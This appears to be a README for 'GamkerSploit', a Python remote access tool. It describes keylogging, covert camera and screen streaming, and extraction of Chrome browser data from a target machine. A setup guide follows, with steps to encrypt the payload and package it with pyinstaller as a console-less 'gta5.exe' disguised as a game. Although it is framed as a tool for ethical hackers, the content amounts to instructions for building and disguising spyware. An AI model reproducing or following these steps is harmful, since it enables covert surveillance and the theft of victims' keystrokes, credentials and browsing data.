GamkerSploit is a powerful and versatile network tool designed to facilitate remote interaction with a target system. This Python-based application integrates several functionalities, making it an essential utility for cybersecurity experts and ethical hackers. Here's a detailed description of its features:
IP Address Retrieval:
get_ip_address()
: This function retrieves the local IP address of the machine running the script. It uses a UDP connection to a specified IP and port to determine the local IP address.Video Stream Reception:
receive_video(client_socket)
: This feature allows the reception and display of real-time video streams from the target machine. It handles video data packets, reconstructs frames, and displays them using OpenCV.Large Data Reception:
receive_large_data(client_socket)
: This function manages the reception of large amounts of data from the target machine. It first retrieves the length of the data and then receives the data in chunks, ensuring complete data retrieval.Remote Command Execution:
camera
: Initiates video streaming from the target's camera.screen
: Captures and streams the target's screen.start_keylog
: Begins logging keystrokes on the target machine.stop_keylog
: Stops the keystroke logging.dump_keylog
: Dumps the recorded keystrokes from the target machine.chrome
: Fetches and displays data from the Chrome browser on the target system.Error Handling:
Interactive Shell:
Connection Setup:
Command Execution:
Data Handling:
Error Management:
GamkerSploit is an advanced tool designed for comprehensive remote interaction and data collection, providing essential functionalities for monitoring and data extraction in cybersecurity tasks.
Here’s a step-by-step guide to set up and use GamkerSploit, including installation, configuration, and building the executable:
python --version
in your command prompt or terminal.git --version
in your command prompt or terminal. git clone https://github.com/gamkers/gamkersploit.git
cd gamkersploit
client.py
and server.py
files in the cloned repository to specify your IP address and port. pip install opencv-python pickle5
encryption.py
script to encrypt your script. Make sure encryption.py
and the script you want to encrypt are in the same directory. python encryption.py
encryption.py
.decrypt.py
file and replace the placeholder encrypted text with the text you copied from encryption.py
. pip install pyinstaller
pyinstaller --onefile --name gta5 --icon=icon.ico --noconsole decrypt.py
gta5.exe
in the dist
directory.dist
directory:
cd dist
gta5.exe
to start using GamkerSploit.client.py
and server.py
.encryption.py
.decrypt.py
.dist
directory.This guide will help you set up GamkerSploit and build the executable file for your needs.